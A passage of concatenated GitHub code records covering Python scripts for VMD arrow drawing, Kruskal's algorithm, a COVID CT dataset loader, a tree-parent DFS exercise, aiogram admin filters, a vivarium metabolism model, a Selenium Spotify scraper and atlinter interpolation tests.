%f} {%f %f %f} radius 0.1\\n' %(\n x,y,z,\n x+v_cylinder[0],y+v_cylinder[1],z+v_cylinder[2],\n )\n lines += [line]\n\n ## cone\n line = 'draw cone {%f %f %f} {%f %f %f} radius 0.15\\n' %(\n x+v_cylinder[0],y+v_cylinder[1],z+v_cylinder[2],\n x+v_cylinder[0]+v_cone[0],y+v_cylinder[1]+v_cone[1],z+v_cylinder[2]+v_cone[2],\n )\n lines += [line]\n\n fd = open('una.vmd','w')\n fd.writelines(lines)\n fd.close()\n\n return\n\n\nif __name__=='__main__':\n main()\n","repo_name":"tommycarstensen/sandbox","sub_path":"normalmode/vmd_arrows.py","file_name":"vmd_arrows.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70039170510","text":"\n\nclass Graph:\n\n\tdef __init__(self, vertices):\n\t\tself.V = vertices # No. de vertices\n\t\tself.graph = [] \n\tdef addEdge(self, u, v, w):\n\t\tself.graph.append([u, v, w])\n\tdef find(self, parent, i):\n\t\tif parent[i] == i:\n\t\t\treturn i\n\t\treturn self.find(parent, parent[i])\n\tdef union(self, parent, rank, x, y):\n\t\txroot = self.find(parent, x)\n\t\tyroot = self.find(parent, y)\n\n\t\tif rank[xroot] < rank[yroot]:\n\t\t\tparent[xroot] = yroot\n\t\telif rank[xroot] > rank[yroot]:\n\t\t\tparent[yroot] = xroot\n\n\t\telse:\n\t\t\tparent[yroot] = xroot\n\t\t\trank[xroot] += 1\n\n \n\tdef KruskalMST(self):\n\n\t\tresult = [] # This will store the resultant MST\n\n\t\ti = 0\n\t\te = 0\n\n\t\tself.graph = build_max_heap(self.graph)\n\n\t\tparent = []\n\t\trank = []\n\n\t\tfor node in range(self.V):\n\t\t\tparent.append(node)\n\t\t\trank.append(0)\n\n\t\twhile e < self.V - 1:\n\n\t\t\tu, v, w = self.graph[i]\n\t\t\ti = i + 1\n\t\t\tx = self.find(parent, u)\n\t\t\ty = self.find(parent, v)\n\n\n\t\t\tif x != y:\n\t\t\t\te = e + 1\n\t\t\t\tresult.append([u, v, w])\n\t\t\t\tself.union(parent, rank, x, y)\n\t\tminimumCost = 0\n\t\tfor u, v, weight in result:\n\t\t\tminimumCost += weight\n\t\tprint(minimumCost)\n\n\n\n\n \n\nif __name__ == \"__main__\":\n entrada = input().split()\n m = int(entrada[0])\n n = int(entrada[1])\n g = Graph(m)\n\n for i in range(n):\n line = input().split()\n u = int(line[0])\n v = int(line[1])\n w = int(line[2])\n g.addEdge(u, v, w)\n\n total = [[100] for i in range(g.V)]\n total = g.KruskalMST()\ndef troca_elemento( vetor, i, aux):\n vetor[i], vetor[aux] = vetor[aux], vetor[i]\n\ndef left( i):\n return (2 * i) + 1\n\ndef right( i):\n return (2 * i) + 2\n\ndef max_heapify(veeetor, i):\n tamanho_do_heap = len(veeetor) - 1\n l = left(i)\n r = right(i)\n if l <= tamanho_do_heap and veeetor[l] < veeetor[i]:\n maior = l\n else:\n maior = i\n if r <= tamanho_do_heap and veeetor[r] < veeetor[maior]:\n maior = r\n if maior != i:\n troca_elemento(veeetor, i, maior)\n max_heapify(veeetor, maior)\n\ndef build_max_heap(veeetor):\n tamanho_do_heap = len(veeetor)\n for i in range(tamanho_do_heap,tamanho_do_heap//2, -1):\n max_heapify(veeetor, i)","repo_name":"David-Mateus/IF969--Algoritmos-e-Estruturas-de-Dados","sub_path":"Lista-08/teste1.py","file_name":"teste1.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38808446663","text":"import csv\nimport os\nimport copy\n\nfrom torch.utils.data import Dataset\n\n\nclass KaggleCovid19(Dataset):\n \"\"\"\n This object implements the capability of reading Kaggle COVID 19 CT dataset. Further information about this dataset\n can be found on the official website https://www.kaggle.com/andrewmvd/covid19-ct-scans\n\n Through this module, users are able to make use of the challenge data by simply specifying the directory where\n the data is locally stored. Therefore it is necessary to first download the data, store or unpack it in a specific\n directory and then instantiate an object of type KaggleCovid19 which will make use of the data in the directory as\n well as the csv file that are part of the dataset and make it available to Eisen.\n\n .. note::\n This dataset will generate data entries with fields: 'image', 'lung_mask', 'infection_mask',\n 'lung_infection_mask'. This data is returned in form of relative paths (to data_dir) of image and mask files.\n\n .. code-block:: python\n\n from eisen.datasets import KaggleCovid19\n\n dset = KaggleCovid19(\n '/data/root/path',\n 'metadata.csv',\n )\n\n \"\"\"\n\n def __init__(self, data_dir, csv_file, transform=None):\n \"\"\"\n :param data_dir: the base directory where the data is located\n :type data_dir: str\n :param csv_file: the relative path of the csv file relative to current task\n :type csv_file: str\n :param transform: a transform object (can be the result of a composition of transforms)\n :type transform: callable\n\n .. code-block:: python\n\n from eisen.datasets import KaggleCovid19\n\n dset = KaggleCovid19(\n data_dir='/data/root/path',\n csv_file='metadata.csv',\n transform=transform\n )\n\n \n [\n {\"name\": \"csv_file\", \"type\": \"string\", \"value\": \"\"}\n ]\n \n \"\"\"\n\n self.data_dir = data_dir\n self.csv_file = csv_file\n\n self.dataset = []\n\n with open(os.path.join(self.data_dir, self.csv_file), \"r\") as f:\n reader = csv.reader(f)\n\n for i, row in enumerate(reader):\n if i == 0:\n continue\n\n entry = {\n \"image\": os.path.join(\"ct_scans\", os.path.basename(row[0])),\n \"lung_mask\": os.path.join(\"lung_mask\", os.path.basename(row[1])),\n \"infection_mask\": os.path.join(\"infection_mask\", os.path.basename(row[2])),\n \"lung_infection_mask\": os.path.join(\"lung_and_infection_mask\", os.path.basename(row[3])),\n }\n\n self.dataset.append(entry)\n\n self.transform = transform\n\n def __len__(self):\n return len(self.dataset)\n\n def __getitem__(self, idx):\n item = copy.deepcopy(self.dataset[idx])\n\n if self.transform:\n item = self.transform(item)\n\n return item\n","repo_name":"eisen-ai/eisen-core","sub_path":"eisen/datasets/kaggle_covid.py","file_name":"kaggle_covid.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"82"} +{"seq_id":"36366924568","text":"# BOJ 11725 트리의 부모 찾기\n# 1. 문제 조건\n# - 첫 입력에 노드 개수가 주어진다.\n# - 루트 노드는 1이고, 두번째 줄 입력부터 트리상에서 연결된 두 정점이 주어진다.\n# - 출력은 '2' 노드의 부모부터, 마지막 노드의 부모까지 순차적으로 출력한다.\n#\n# 2. 문제 해석\n# - 두번째 입력부터 두 노드가 주어지는데, 모든 입력을 받으면 노드간의 관계를 통해 트리를 그릴 수 있다.\n# - 그려진 트리를 Traverse하며 2번 노드부터 마지막 노드까지 부모 노드를 판별해 출력한다.\n#\n# 3. 알고리즘\n# - 한줄요약) 트리를 먼저 그린 후에, 그려진 트리를 DFS 혹은 BFS로 순회하며 parent를 출력한다\n\n# [DFS 알고리즘]\n# - 1번 노드부터 시작해서, 마지막 leaf까지 탐색을 진행한다. 즉, 탐색의 순서는 부모 -> 자식 노드 순이다.\n# - 1번과 연결되어 있으면서 아직 방문하지 않은 노드들을 방문한다.\n# - 탐색 중인 노드에 child가 있다면 탐색중인 노드는 해당 child의 parent가 되고 이를 visited 배열에 탐색중인 노드 index의 parent로 저장한다.\n# - visited 배열에, n번째 index에 parent를 입력했으므로 visited 정보가 False가 아닌 n번 노드는 다시 방문하지 않는다.\n\nimport sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**8)\n\n# number of nodes\nn = int(input())\n# init tree(graph)\ntree = [[]for _ in range(n+1)] #index번째 노드의 연결 관계를 기록한다\nvisited = [False for _ in range(n+1)] # 탐색 여부를 ㅁ ㅁ 기록하고, True이면 해당 노드의 탐색이 끝나 다시 방문하지 않는다\nans = [1 for _ in range(n+1)] # parent를 기록한다. 초기값은 1로 초기화한다\n\n# 1번 노드를 제외한 노드 입력으로 트리 생성\nfor i in range(n-1):\n j, k = map(int,input().split())\n tree[j].append(k)\n tree[k].append(j)\n\n# DFS의 정의\ndef dfs(val):\n for i in tree[val]:\n if visited[i] == False:\n visited[i] = val\n dfs(i) #재귀적으로 DFS\n\ndfs(1) #1번 노드부터 n번 노드까지 탐색을 진행한다.\nfor i in range(2, n+1):\n print(visited[i]) # 2번노드부터 시작하여 마지막 노드까지 부모를 출력한다.\n","repo_name":"naro-Kim/CodingTestPractice","sub_path":"백준/boj_11725.py","file_name":"boj_11725.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71885716749","text":"from openpyxl import load_workbook\n\ntest_data = []\n\n\nclass DoExcel:\n def __init__(self, file_path, sheet_name):\n self.file_path = file_path\n self.sheet_name = sheet_name\n\n def do_excel(self):\n wb = load_workbook(self.file_path)\n sheet = wb[self.sheet_name]\n\n for i in range(2, sheet.max_row+1):\n sub_data = {}\n sub_data['id'] = sheet.cell(i, 1).value\n sub_data['title'] = sheet.cell(i, 2).value\n sub_data['method'] = sheet.cell(i, 3).value\n sub_data['url'] = sheet.cell(i, 4).value\n sub_data['params'] = sheet.cell(i, 5).value\n test_data.append(sub_data)\n return test_data\n\n\nif __name__ == '__main__':\n test_data = DoExcel(r'../test_data/data.xlsx', 'Sheet1').do_excel()\n\n for item in test_data:\n print(item)\n","repo_name":"wangzhenyi66/auto_test_interface","sub_path":"common/do_excel.py","file_name":"do_excel.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41155501085","text":"from aiogram import types\nfrom aiogram.dispatcher.filters import BoundFilter\n\n\nclass IsAdminFilter(BoundFilter):\n \"\"\"\n Filter that checks for admin rights existence\n \"\"\"\n key = \"is_admin\"\n\n def __init__(self, is_admin: bool):\n self.is_admin = is_admin\n\n async def check(self, message: types.Message):\n member = await message.bot.get_chat_member(message.chat.id, message.from_user.id)\n return member.is_chat_admin() == self.is_admin\n\n\nclass MemberCanRestrictFilter(BoundFilter):\n \"\"\"\n Filter that checks member ability for restricting\n \"\"\"\n key = 'member_can_restrict'\n\n def __init__(self, member_can_restrict: bool):\n self.member_can_restrict = member_can_restrict\n\n async def check(self, message: types.Message):\n member = await message.bot.get_chat_member(message.chat.id, message.from_user.id)\n\n # I don't know why, but telegram thinks, if member is chat creator, he cant restrict member\n return (member.is_chat_creator() or member.can_restrict_members) == self.member_can_restrict","repo_name":"Priler/samurai","sub_path":"filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"82"} +{"seq_id":"39260425841","text":"\"\"\"\n==================================================\nTransport Metabolism and Gene Expression Composite\n==================================================\n\"\"\"\n\nimport os\nimport argparse\n\nfrom vivarium.library.units import units\nfrom vivarium.core.process import Generator\nfrom vivarium.core.emitter import path_timeseries_from_embedded_timeseries\nfrom vivarium.core.composition import (\n simulate_compartment_in_experiment,\n save_flat_timeseries,\n load_timeseries,\n assert_timeseries_close,\n)\nfrom vivarium.plots.simulation_output import plot_simulation_output\n\n# processes\nfrom vivarium.processes.meta_division import MetaDivision\nfrom vivarium.processes.tree_mass import TreeMass\nfrom vivarium_cell.processes.division_volume import DivisionVolume\nfrom vivarium_cell.processes.metabolism import (\n Metabolism,\n get_minimal_media_iAF1260b,\n)\nfrom vivarium_cell.processes.metabolism import get_iAF1260b_config as get_iAF1260b_path_config\nfrom vivarium_cell.processes.convenience_kinetics import ConvenienceKinetics\nfrom vivarium_cell.processes.ode_expression import ODE_expression\n\n# plots\nfrom chemotaxis.plots.transport_metabolism import plot_glc_lcts_environment\n\n# directories\nfrom chemotaxis import COMPOSITE_OUT_DIR, REFERENCE_DATA_DIR\n\n\nNAME = 'transport_metabolism'\n\n\ndef get_iAF1260b_config():\n \"\"\"\n :py:class:`Metabolism` configuration for with iAF1260b BiGG model,\n initial_mass, and tolerances set on the glucose/lactose exchange\n reactions.\n \"\"\"\n\n config = get_iAF1260b_path_config()\n\n # flux bound tolerance for reactions in glucose_lactose_transport_config\n metabolism_config = {\n 'initial_mass': 1339.0, # fg of metabolite pools\n 'tolerance': {\n 'EX_glc__D_e': [1.05, 1.0],\n 'EX_lcts_e': [1.05, 1.0]}}\n config.update(metabolism_config)\n return config\n\n\ndef get_lacY_expression_config():\n \"\"\"\n :py:class:`ODE_expression` configuration for expression of glucose\n and lactose transporters\n \"\"\"\n\n # expression\n transcription_rates = {\n 'lacy_RNA': 5e-6}\n translation_rates = {\n 'LacY': 2e-4}\n protein_map = {\n 'LacY': 'lacy_RNA'}\n degradation_rates = {\n 'lacy_RNA': 3e-3, # a single RNA lasts about 5 minutes\n 'LacY': 3e-5} # proteins degrade ~100x slower\n\n # regulation\n regulators = [\n ('external', 'glc__D_e'),\n ('internal', 'lcts_p')]\n regulation_condition = {\n 'lacy_RNA': 'if [(external, glc__D_e) > 0.05 ' # limiting concentration of glc\n 'or (internal, lcts_p) < 0.05]'} # internal lcts is hypothesized to disinhibit lacY transcription\n transcription_leak = {\n 'rate': 5e-4,\n 'magnitude': 5e-7}\n\n # initial state\n initial_state = {\n 'internal': {\n 'lacy_RNA': 0.0,\n 'LacY': 0.0},\n 'external': {\n 'glc__D_e': 8.0,\n 'lcts_e': 8.0}}\n\n return {\n 'transcription_rates': transcription_rates,\n 'translation_rates': translation_rates,\n 'degradation_rates': degradation_rates,\n 'protein_map': protein_map,\n 'regulators': regulators,\n 'regulation': regulation_condition,\n 'transcription_leak': transcription_leak,\n 'initial_state': initial_state}\n\n\ndef get_glucose_lactose_transport_config():\n \"\"\"\n :py:class:`ConvenienceKinetics` configuration for simplified glucose\n and lactose transport.Glucose uptake simplifies the PTS/GalP system\n to a single uptake kinetic with ``glc__D_e_external`` as the only\n cofactor.\n \"\"\"\n transport_reactions = {\n 'EX_glc__D_e': {\n 'stoichiometry': {\n ('internal', 'g6p_c'): 1.0,\n ('external', 'glc__D_e'): -1.0,\n ('internal', 'pep_c'): -1.0,\n ('internal', 'pyr_c'): 1.0},\n 'is reversible': False,\n 'catalyzed by': [\n ('internal', 'EIIglc')]},\n 'EX_lcts_e': {\n 'stoichiometry': {\n ('external', 'lcts_e'): -1.0,\n ('internal', 'lcts_p'): 1.0},\n 'is reversible': False,\n 'catalyzed by': [\n ('internal', 'LacY')]}}\n\n transport_kinetics = {\n 'EX_glc__D_e': {\n ('internal', 'EIIglc'): {\n ('external', 'glc__D_e'): 1e-1, # (mM) k_m for glc\n ('internal', 'pep_c'): None, # k_m = None makes a reactant non-limiting\n 'kcat_f': 1e2}},\n 'EX_lcts_e': {\n ('internal', 'LacY'): {\n ('external', 'lcts_e'): 1e-1, # (mM) k_m for lcts\n 'kcat_f': 1e2}}}\n\n transport_initial_state = {\n 'internal': {\n 'EIIglc': 1.0e-3, # (mmol/L)\n 'g6p_c': 0.0,\n 'pep_c': 1.0e-1,\n 'pyr_c': 0.0,\n 'LacY': 0,\n 'lcts_p': 0.0},\n 'external': {\n 'glc__D_e': 10.0,\n 'lcts_e': 10.0}}\n\n transport_ports = {\n 'internal': [\n 'g6p_c', 'pep_c', 'pyr_c', 'EIIglc', 'LacY', 'lcts_p'],\n 'external': [\n 'glc__D_e', 'lcts_e']}\n\n return {\n 'reactions': transport_reactions,\n 'kinetic_parameters': transport_kinetics,\n 'initial_state': transport_initial_state,\n 'ports': transport_ports}\n\n\ndef get_metabolism_initial_external_state(\n scale_concentration=1,\n override={}\n):\n # get external state from iAF1260b metabolism\n config = get_iAF1260b_config()\n metabolism = Metabolism(config)\n molecules = {\n mol_id: conc * scale_concentration\n for mol_id, conc in metabolism.initial_state['external'].items()\n }\n for mol_id, conc in override.items():\n molecules[mol_id] = conc\n return molecules\n\n\nclass TransportMetabolismExpression(Generator):\n \"\"\" Transport/Metabolism/Expression composite\n\n Metabolism is an FBA BiGG model, transport is a kinetic model with\n convenience kinetics, gene expression is an ODE model\n \"\"\"\n name = NAME\n defaults = {\n 'boundary_path': ('boundary',),\n 'agents_path': ('agents',),\n 'daughter_path': tuple(),\n 'fields_path': ('fields',),\n 'dimensions_path': ('dimensions',),\n 'division': {},\n 'transport': get_glucose_lactose_transport_config(),\n 'metabolism': get_iAF1260b_config(),\n 'expression': get_lacY_expression_config(),\n 'divide': True,\n }\n\n def __init__(self, config=None):\n super(TransportMetabolismExpression, self).__init__(config)\n\n def generate_processes(self, config):\n daughter_path = config['daughter_path']\n agent_id = config['agent_id']\n\n # Transport\n transport = ConvenienceKinetics(config['transport'])\n\n # Metabolism\n # get target fluxes from transport, and update constrained_reaction_ids\n metabolism_config = config['metabolism']\n target_fluxes = transport.kinetic_rate_laws.reaction_ids\n metabolism_config.update({'constrained_reaction_ids': target_fluxes})\n metabolism = Metabolism(metabolism_config)\n\n # Gene expression\n expression = ODE_expression(config['expression'])\n\n # Mass deriver\n mass_deriver = TreeMass({})\n\n # Division\n division_condition = DivisionVolume(config['division'])\n\n processes = {\n 'transport': transport,\n 'metabolism': metabolism,\n 'expression': expression,\n 'mass_deriver': mass_deriver,\n 'division': division_condition,\n }\n\n # divide process set to true, add meta-division processes\n if config['divide']:\n meta_division_config = dict(\n {},\n daughter_path=daughter_path,\n agent_id=agent_id,\n compartment=self)\n meta_division = MetaDivision(meta_division_config)\n processes['meta_division'] = meta_division\n\n return processes\n\n def generate_topology(self, config):\n boundary_path = config['boundary_path']\n agents_path = config['agents_path']\n fields_path = config['fields_path']\n dimensions_path = config['dimensions_path']\n external_path = boundary_path + ('external',)\n topology = {\n 'transport': {\n 'internal': ('cytoplasm',),\n 'external': external_path,\n 'fields': ('null',), # metabolism's exchange is used\n 'fluxes': ('flux_bounds',),\n 'global': boundary_path,\n 'dimensions': dimensions_path,\n },\n 'metabolism': {\n 'internal': ('cytoplasm',),\n 'external': external_path,\n 'reactions': ('reactions',),\n 'fields': fields_path,\n 'flux_bounds': ('flux_bounds',),\n 'global': boundary_path,\n 'dimensions': dimensions_path,\n },\n 'expression': {\n 'counts': ('cytoplasm_counts',),\n 'internal': ('cytoplasm',),\n 'external': external_path,\n 'global': boundary_path,\n },\n 'mass_deriver': {\n 'global': boundary_path,\n },\n 'division': {\n 'global': boundary_path,\n },\n }\n if config['divide']:\n topology.update({\n 'meta_division': {\n 'global': boundary_path,\n 'agents': agents_path,\n }})\n return topology\n\n\n# simulate\ndef test_txp_mtb_ge(out_dir='out'):\n timeseries = run_txp_mtb_ge(\n env_volume=1e-12,\n total_time=10\n )\n path_timeseries = path_timeseries_from_embedded_timeseries(timeseries)\n save_flat_timeseries(path_timeseries, out_dir)\n reference = load_timeseries(\n os.path.join(REFERENCE_DATA_DIR, NAME + '.csv'))\n assert_timeseries_close(path_timeseries, reference)\n\n\ndef run_txp_mtb_ge(\n env_volume=1e-12,\n total_time=10,\n minimal_media=get_minimal_media_iAF1260b()\n):\n # make the compartment\n compartment = TransportMetabolismExpression({\n 'agent_id': '0',\n 'divide': False})\n\n # configure simulation\n default_test_setting = {\n 'environment': {\n 'volume': env_volume * units.L,\n 'concentrations': minimal_media,\n 'ports': {\n 'fields': ('fields',),\n 'external': ('boundary', 'external'),\n 'dimensions': ('dimensions',),\n 'global': ('boundary',)}},\n 'total_time': total_time}\n\n # run simulation\n return simulate_compartment_in_experiment(compartment, default_test_setting)\n\n\nif __name__ == '__main__':\n out_dir = os.path.join(COMPOSITE_OUT_DIR, NAME)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n\n parser = argparse.ArgumentParser(description='transport metabolism')\n parser.add_argument('--shift', '-s', action='store_true', default=False)\n args = parser.parse_args()\n\n if args.shift:\n out_dir = os.path.join(out_dir, 'shift')\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n minimal_media = get_metabolism_initial_external_state(\n scale_concentration=100,\n override={'glc__D_e': 1.0, 'lcts_e': 1.0})\n environment_volume = 1e-13\n else:\n minimal_media = get_minimal_media_iAF1260b()\n environment_volume = 1e-6\n\n # simulate\n total_time = 2500\n timeseries = run_txp_mtb_ge(\n env_volume=environment_volume,\n total_time=total_time,\n minimal_media=minimal_media)\n\n # print resulting growth\n volume_ts = timeseries['boundary']['volume']\n mass_ts = timeseries['boundary']['mass']\n print('volume growth: {}'.format(volume_ts[-1] / volume_ts[1]))\n print('mass growth: {}'.format(mass_ts[-1] / mass_ts[1]))\n\n # plot\n # simulation plot\n plot_settings = {\n 'max_rows': 30,\n 'remove_flat': True,\n 'remove_zeros': True,\n 'skip_ports': ['null', 'reactions']}\n plot_simulation_output(timeseries, plot_settings, out_dir)\n\n # glucose-lactose plot\n settings = {\n 'internal_path': ('cytoplasm',),\n 'external_path': ('boundary', 'external'),\n 'global_path': ('boundary',),\n 'environment_volume': environment_volume}\n plot_glc_lcts_environment(timeseries, settings, out_dir)\n","repo_name":"vivarium-collective/vivarium-chemotaxis","sub_path":"chemotaxis/composites/transport_metabolism.py","file_name":"transport_metabolism.py","file_ext":"py","file_size_in_byte":12481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1317335629","text":"import sys\r\n#sys.stdin = open(\"input.txt\",\"rt\") #채점시 꼭 주석처리 할것\r\n\r\nn = int(input())\r\nlst = list(map(int,input().split()))\r\nres1 = [0]*n\r\nres2 = [0]*n\r\ndef DFS(v):\r\n if sum(res1) == sum(res2): #두 부분집합의 합이 같으면\r\n return \"YES\"\r\n \r\n res1[v] = lst[v]\r\n DFS(lst[v+1])\r\n res2[v] = lst[v]\r\n DFS(lst[v+1])\r\n\r\n\r\nprint(DFS(0))\r\n","repo_name":"100race/algorithm-study","sub_path":"algorithm/합이같은부분집합.py","file_name":"합이같은부분집합.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1531013082","text":"from selenium import webdriver\n# from selenium import *\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.chrome.options import Options\nimport pyautogui\n\nPATH = \".\\chromedriver.exe\"\nchromeOptions = Options()\nchromeOptions.add_argument(\"--kiosk\")\ndriver = webdriver.Chrome(PATH,chrome_options=chromeOptions)\ndriver.get('https://open.spotify.com/')\nxpath = '//*[@id=\"main\"]/div/div[2]/nav/div[1]/ul/li[2]/a'\nsearchBar = WebDriverWait(driver,10).until(EC.presence_of_element_located((By.XPATH, xpath)))\nsearchBar = driver.find_element(By.XPATH,xpath).click()\nsearchFieldXpath = '//*[@id=\"main\"]/div/div[2]/div[1]/header/div[3]/div/div/form/input'\nsearchFieldWait = WebDriverWait(driver,10).until(EC.presence_of_element_located((By.XPATH, searchFieldXpath)))\nsearchField = driver.find_element(By.XPATH,searchFieldXpath).send_keys(\"Top 50 Global Spotify\")\n#pyautogui.press(\"enter\")\nplaylistXpath = '//*[@id=\"searchPage\"]/div/div/section[1]/div[2]/div/div'\nplaylistWait = WebDriverWait(driver,10).until(EC.presence_of_element_located((By.XPATH, playlistXpath)))\nplaylistResult = driver.find_element(By.XPATH,playlistXpath).click()\ntop50 = []\nfor item in range(1,14):\n gxpath = f'//*[@id=\"main\"]/div/div[2]/div[3]/div[1]/div[2]/div[2]/div/div/div[2]/main/div/section/div[2]/div[3]/div/div[2]/div[2]/div[{item}]/div/div[2]/div/div'\n xpath = '/html/body/div[4]/div/div[2]/div[3]/div[1]/div[2]/div[2]/div/div/div[2]/main/div/section/div[2]/div[3]/div/div[2]/div[2]/div[1]/div/div[2]/div/a/div'\n try:\n element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, gxpath)))\n try:\n element = driver.find_element(By.XPATH,gxpath).get_attribute(\"innerHTML\")\n top50.append(element)\n # print(item)\n except:\n print(\"Can't get text!\")\n except:\n print(\"Couldnt Find!\")\n driver.close()\n driver.quit()\npyautogui.press(\"end\")\nfor item in range(1,38):\n gxpath = f'//*[@id=\"main\"]/div/div[2]/div[3]/div[1]/div[2]/div[2]/div/div/div[2]/main/div/section/div[2]/div[3]/div/div[2]/div[2]/div[{item}]/div/div[2]/div/div'\n xpath = '/html/body/div[4]/div/div[2]/div[3]/div[1]/div[2]/div[2]/div/div/div[2]/main/div/section/div[2]/div[3]/div/div[2]/div[2]/div[1]/div/div[2]/div/a/div'\n try:\n element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, gxpath)))\n try:\n element = driver.find_element(By.XPATH,gxpath).get_attribute(\"innerHTML\")\n top50.append(element)\n # print(item)\n except:\n print(\"Can't get text!\")\n except:\n print(\"Couldnt Find!\")\n driver.close()\n driver.quit()\ndriver.quit()\n# print(top50)\nf = open(\"./top50.txt\", \"w\")\nf.write(\"\")\nf.close()\nf = open(\"./top50.txt\", \"a+\")\nfor songName in top50:\n f.write(songName+\"\\n\")\nf.close()","repo_name":"dhavalraichura/SpotifyTop50GlobalScraper","sub_path":"SpotifyTop50Global.py","file_name":"SpotifyTop50Global.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34670075262","text":"from unittest import mock\n\nimport numpy as np\nimport pytest\nimport torch\n\nfrom atlinter.data import GeneDataset\nfrom atlinter.pair_interpolation import (\n AntsPairInterpolationModel,\n CAINPairInterpolationModel,\n GeneInterpolate,\n LinearPairInterpolationModel,\n PairInterpolate,\n PairInterpolationModel,\n RIFEPairInterpolationModel,\n)\n\n\nclass DummyModel(PairInterpolationModel):\n def interpolate(self, img1, img2):\n raise NotImplementedError\n\n\ndef test_pair_interpolation_model():\n # Test input\n img1 = np.random.rand()\n img2 = np.random.rand()\n interpolated_images = np.random.rand()\n\n # Instantiate model\n model = DummyModel()\n\n # Tests\n ret1, ret2 = model.before_interpolation(img1, img2)\n ret = model.after_interpolation(interpolated_images)\n assert ret1 is img1\n assert ret2 is img2\n assert ret is interpolated_images\n\n\n@pytest.mark.parametrize(\n (\"n_repeat\", \"n_expected_interpolations\"),\n (\n (1, 1),\n (2, 3),\n (3, 7),\n (10, 1023),\n ),\n)\n@pytest.mark.parametrize(\"shape\", [(10, 10), (10, 10, 3)])\ndef test_pair_interpolate(n_repeat, n_expected_interpolations, shape):\n # Test input\n img1 = np.random.rand(*shape)\n img2 = np.random.rand(*shape)\n\n # Interpolation model mock\n model = mock.Mock(spec=PairInterpolationModel)\n dummy_model = DummyModel()\n model.before_interpolation = mock.Mock(wraps=dummy_model.before_interpolation)\n model.interpolate = mock.Mock(return_value=np.random.rand(*shape))\n model.after_interpolation = mock.Mock(wraps=dummy_model.after_interpolation)\n\n # Run interpolation\n interpolate = PairInterpolate().repeat(n_repeat)\n interpolated = interpolate(img1, img2, model)\n\n # Check results\n assert isinstance(interpolated, np.ndarray)\n assert len(interpolated.shape) == len(shape) + 1\n assert interpolated.shape[1:] == img1.shape\n assert len(interpolated) == n_expected_interpolations\n model.before_interpolation.assert_called_once()\n assert model.interpolate.call_count == n_expected_interpolations\n model.after_interpolation.assert_called_once()\n\n\n@pytest.mark.parametrize(\"shape\", [(10, 10), (10, 10, 3)])\ndef test_linear_pair_interpolation_model(shape):\n # Test input\n img1 = np.random.rand(*shape)\n img2 = np.random.rand(*shape)\n\n # Test instances\n model = LinearPairInterpolationModel()\n interpolate = PairInterpolate()\n\n # Tests\n interpolated = interpolate(img1, img2, model)\n assert interpolated.shape == (1, *shape)\n assert np.allclose(interpolated[0], np.mean([img1, img2], axis=0))\n\n\n@pytest.mark.parametrize(\"shape\", [(10, 10), (10, 10, 3)])\ndef test_ants_pair_interpolation_model(shape):\n # Test input\n img1 = np.random.rand(*shape)\n img2 = np.random.rand(*shape)\n img_mid = np.random.rand(*shape)\n\n # Test instances\n register_fn = mock.Mock(return_value=np.random.rand())\n transform_fn = mock.Mock(return_value=img_mid)\n model = AntsPairInterpolationModel(register_fn, transform_fn)\n interpolate = PairInterpolate()\n\n # Tests\n interpolated = interpolate(img1, img2, model)\n assert interpolated.shape == (1, *shape)\n register_fn.assert_called_once()\n transform_fn.assert_called_once()\n\n\n@pytest.mark.parametrize(\"shape\", [(10, 10), (10, 10, 3)])\ndef test_cain_pair_interpolation_model(shape):\n # Test input\n img1 = np.random.rand(*shape)\n img2 = np.random.rand(*shape)\n img_mid = torch.rand(1, 3, *shape[0:2])\n\n # Test instances\n cain_model = mock.Mock(return_value=(img_mid, None))\n model = CAINPairInterpolationModel(cain_model)\n interpolate = PairInterpolate()\n\n # Tests\n interpolated = interpolate(img1, img2, model)\n assert interpolated.shape == (1, *shape)\n cain_model.assert_called_once()\n\n\n@pytest.mark.parametrize(\"shape\", [(10, 10), (10, 10, 3)])\ndef test_rife_pair_interpolation_model(shape):\n # Test input\n img1 = np.random.rand(*shape)\n img2 = np.random.rand(*shape)\n img_mid = torch.rand(1, 3, *shape[0:2])\n\n # Test instances\n rife_model = mock.Mock()\n rife_model.inference = mock.Mock(return_value=img_mid)\n rife_device = None\n model = RIFEPairInterpolationModel(rife_model, rife_device)\n interpolate = PairInterpolate()\n\n # Tests\n interpolated = interpolate(img1, img2, model)\n assert interpolated.shape == (1, *shape)\n rife_model.inference.assert_called_once()\n\n\nclass FakeModel(PairInterpolationModel):\n def interpolate(self, img1, img2):\n img_middle = (img1 + img2) / 2\n return img_middle\n\n\ndef fake_gene_data(axis, slice_shape, volume_shape):\n n_known_slices = 3\n gene_volume = np.ones((n_known_slices, *slice_shape))\n\n for i in range(n_known_slices):\n gene_volume[i] = (i + 1) * gene_volume[i]\n\n section_numbers = [10 + i * 8 for i in range(n_known_slices)]\n\n return GeneDataset(gene_volume, section_numbers, axis, volume_shape)\n\n\nclass 